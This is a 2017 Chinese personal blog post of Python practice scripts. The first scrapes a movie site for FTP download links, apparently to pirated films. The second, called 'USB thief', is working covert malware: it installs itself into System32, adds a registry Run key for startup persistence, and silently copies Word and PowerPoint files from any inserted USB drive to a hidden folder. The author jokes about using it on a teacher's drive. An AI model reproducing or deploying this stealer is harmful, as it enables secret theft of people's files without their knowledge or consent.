Python学习练手

电影天堂爬虫

电影天堂 最新电影爬取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8

from urllib import urlopen
from bs4 import BeautifulSoup
import lxml
import urllib
import re
import sys
import codecs#声明文件打开中文格式编码

reload(sys)
sys.setdefaultencoding( "utf-8" )#不适用Unicode默认编码 而使用utf-8

def get_htmlobj(url):
html=urlopen(url)
obj=BeautifulSoup(html,"lxml",from_encoding="gb2312")#进行解析
html.close()#不要忘记关掉
return obj

obj=get_htmlobj("http://www.dytt8.net/index.htm")

linklist=obj.findAll("a")#<a>标签内的东西
file_linklist=codecs.open('C:\Users\Administrator\Desktop\linklist.txt','w','utf-8')
for x in linklist: #写在外面
file_linklist.write(str(x))

f=codecs.open("C:\Users\Administrator\Desktop\linklist.txt",'r','utf-8')
txt=f.read()
f.close()

#最新电影下载</a><a href="/html/gndy/dyzz/20170211/53219.html">2017年动作《十字追杀令2》BD中英双字幕</a><a href="/html/gndy/dyzz/index.html">
rule = u'最新电影下载</a><a href="(.*?\.html)">.*?</a>' #正则规则
urlre = re.compile(rule)
url_list=urlre.findall(txt)

#所有的最新电影url
#######################################################
url_txt=codecs.open("C:\Users\Administrator\Desktop\url_list.txt",'w','utf-8')
urlre=re.compile(r'<a href="(ftp://.*?)">')
download_list=[]
for x in url_list:
url='http://www.dytt8.net/'+str(x).encode('utf-8')
obj=get_htmlobj(url)
linklist=obj.findAll('a')
for a in linklist:
if len(urlre.findall(str(a))):
download_list.extend(urlre.findall(str(a)))
for x in download_list:
#url_txt.write(str(x)+"\n")
print str(x)+"\n"
url_txt.close()
print len(download_list)

print "over"

U盘小偷

插入u盘后会自动隐匿复制u盘中的文件到D盘目录下,并会修改注册表开机启动。 老师上课u盘?不敢试不敢试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf-8
import win32file
import shutil
import os
import time
import _winreg
import subprocess


def getremovabledisk():
drives=[]
if win32file.GetLogicalDrives():#当U盘存在时返回252,反之返回124
drive_all=["D:\\","E:\\","F:\\","G:\\","H:\\","I:\\","J:\\"]
for str in drive_all:
if win32file.GetDriveType(str)==2: #当盘符存在时 返回2 否则返回1
free_bytes,total_bytes,total_free_bytes=win32file.GetDiskFreeSpaceEx(str)
if (total_bytes/1024/1024/1024)<32:
drives.append(str)

return drives #U盘不存在的话返回0 U盘存在的话返回U盘盘符

def copyfile(drives):
target_dir="D:/copyfile/"
if not os.path.exists(target_dir):#目录是否存在
os.makedirs(target_dir)
today=target_dir+time.strftime('%Y%m%d%H%M')+'/'
if not os.path.exists(today):
os.makedirs(today)
for udisk in drives:
for root, dirs, files in os.walk(udisk):
#方法返回的是一个三元tupple(dirpath, dirnames, filenames)
#其中第一个为起始路径,第二个为起始路径下的文件夹列表,第三个是起始路径下的文件列表.
for one in files:
type = os.path.splitext(one)[1]#返回文件后缀
if type == ".ppt" or type == ".pptx" or type == ".doc" or type == "docx" :
if len(root)>3 and not os.path.exists(today+root[3:]):
os.makedirs(today+root[3:])
shutil.copy(root+'/'+one,today+root[3:]+'/'+one)#复制files 中的文件

def addtoautorun():
#修改注册表将程序改为开机启动 注册表地址: regedit//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
key=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
_winreg.SetValueEx(key,"UDiskBee",0,_winreg.REG_SZ,r'C:/WINDOWS/system32/UDiskBee.exe')#REG_SZ注册表类型

#_winreg.OpenKey(key, sub_key[, res[, sam]])
#该函数包括两个必要参数和两个可选参数:
#key是一个已经打开的key,或者是注册表常量中的某一个值
#sub_key是一个字符串,比如上图所示,_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWARE")即可获得一个指HKEY_LOCAL_MACHINE下的“SOFTWARE”对象的句柄
#res是一个保留的整型数据,必须是0,且默认是0
#sam是一个用来指明句柄对该key的访问权限的整型数据,默认是KEY_READ,要进行写操作时需要KEY_WRITE或者KEY_ALL_ACCESS权限

#_winreg.SetValue(key,sub_key,type,value)
#该函数用于设置subkey的未命名value的data,也就是上图所示中"(默认)"对应的"数值未设置",若subkey不存在则自动创建subkey


#_winreg.SetValueEx(key,value_name,reserved,type,value)
#该函数用于设置key中对应value_name的type和value


#_winreg.EnumValue(key,index)
#该函数用于枚举获取key下的values,返回类型为tuple,与_winreg.QueryInfoKey(key)一起使用即可实现对values的遍历


#_winreg.QueryValue(key,sub_key)
#该函数用于获取未命名的value的data,也就是上图所示中"(默认)"对应的"数值未设置"


#_winreg.QueryValueEx(key,value_name)
#该函数用于获取某个key中指定value的data和type,返回类型是tuple

if __name__=="__main__":
if not os.path.isfile('C:/Windows/System32/UDiskBee.exe'):#文件是否存在
shutil.copy(os.getcwd()+'/'+'UDiskBee.exe','C:/Windows/System32/UDiskBee.exe')
addtoautorun() #设置为开机启动
subprocess.Popen('C:/Windows/System32/UDiskBee.exe',shell=True)#创建进程
else :
subprocess.Popen('C:/Windows/System32/UDiskBee.exe',shell=True)#创建进程
drives_bk=[]
while 1:
time.sleep(20)
drives=getremovabledisk()
if (drives!=drives_bk)&(len(drives_bk)<len(drives)):
#new U Disk
drives_bk=drives
copyfile(drives)
if (drives!=drives_bk)&(len(drives_bk)>len(drives)):
#Disk remove
drives_bk=drives

本文标题:Python学习练手

文章作者:Hengliy

发布时间:2017年02月20日 - 14:02

最后更新:2018年02月24日 - 15:02

原始链接:http://hengliy.github.io/2017/02/20/PYTHON学习练手/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。